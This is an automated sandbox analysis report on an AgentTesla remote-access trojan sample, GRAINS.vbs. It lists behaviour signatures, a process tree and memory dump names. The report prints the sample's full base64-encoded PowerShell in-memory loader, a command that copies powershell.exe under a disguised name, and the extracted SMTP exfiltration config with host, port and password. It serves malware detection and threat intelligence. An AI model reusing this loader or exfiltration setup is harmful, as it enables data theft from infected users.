Analysis
- max time kernel
93s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
15/11/2024, 16:28
General
- Target GRAINS.vbs
- Size 2.2MB
- Sample241115-tym1tswpfx
- SHA256 929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
nffplp.com
-
Port
587
-
Username
-
Password
$Nke%8XIIDtm
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Agenttesla family
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs"2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe"C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops startup file
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
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C:\Windows\system32\cmd.execmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe" /Y1⤵
- Process spawned unexpected child process
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
GRAINS.vbs.exe
__PSScriptPolicyTest_vxw1hl0j.etm.ps1
memory/64-1118-0x0000000000400000-0x0000000000442000-memory.dmp
memory/64-1119-0x0000000006420000-0x0000000006470000-memory.dmp
memory/64-1120-0x0000000006520000-0x000000000652A000-memory.dmp
memory/5028-4-0x0000000074A8E000-0x0000000074A8F000-memory.dmp
memory/5028-5-0x0000000000FD0000-0x0000000001006000-memory.dmp
memory/5028-7-0x0000000074A80000-0x0000000075230000-memory.dmp
memory/5028-6-0x00000000053E0000-0x0000000005A08000-memory.dmp
memory/5028-8-0x0000000074A80000-0x0000000075230000-memory.dmp
memory/5028-9-0x00000000050E0000-0x0000000005102000-memory.dmp
memory/5028-10-0x00000000052B0000-0x0000000005316000-memory.dmp
memory/5028-11-0x0000000005320000-0x0000000005386000-memory.dmp
memory/5028-17-0x0000000005A10000-0x0000000005D64000-memory.dmp
memory/5028-22-0x00000000060A0000-0x00000000060BE000-memory.dmp
memory/5028-23-0x00000000060D0000-0x000000000611C000-memory.dmp
memory/5028-24-0x0000000007140000-0x00000000071D6000-memory.dmp
memory/5028-25-0x00000000065B0000-0x00000000065CA000-memory.dmp
memory/5028-26-0x0000000006610000-0x0000000006632000-memory.dmp
memory/5028-27-0x0000000007790000-0x0000000007D34000-memory.dmp
memory/5028-28-0x00000000083C0000-0x0000000008A3A000-memory.dmp
memory/5028-29-0x0000000007220000-0x0000000007438000-memory.dmp
memory/5028-30-0x0000000007560000-0x0000000007658000-memory.dmp
memory/5028-31-0x0000000007D40000-0x0000000007DD2000-memory.dmp
memory/5028-39-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-79-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-63-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-55-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-53-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-51-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-49-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-47-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-45-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-43-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-37-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-35-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-33-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-41-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-32-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-89-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-95-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-93-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-91-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-87-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-85-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-83-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-81-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-77-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-75-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-73-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-71-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-69-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-67-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-65-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-62-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-59-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-57-0x0000000007560000-0x0000000007652000-memory.dmp
memory/5028-1106-0x00000000076E0000-0x000000000774A000-memory.dmp
memory/5028-1108-0x0000000004E20000-0x0000000004E6C000-memory.dmp
memory/5028-1107-0x0000000074A8E000-0x0000000074A8F000-memory.dmp
memory/5028-1109-0x0000000074A80000-0x0000000075230000-memory.dmp
memory/5028-1113-0x0000000007E10000-0x0000000007E64000-memory.dmp
memory/5028-1117-0x0000000074A80000-0x0000000075230000-memory.dmp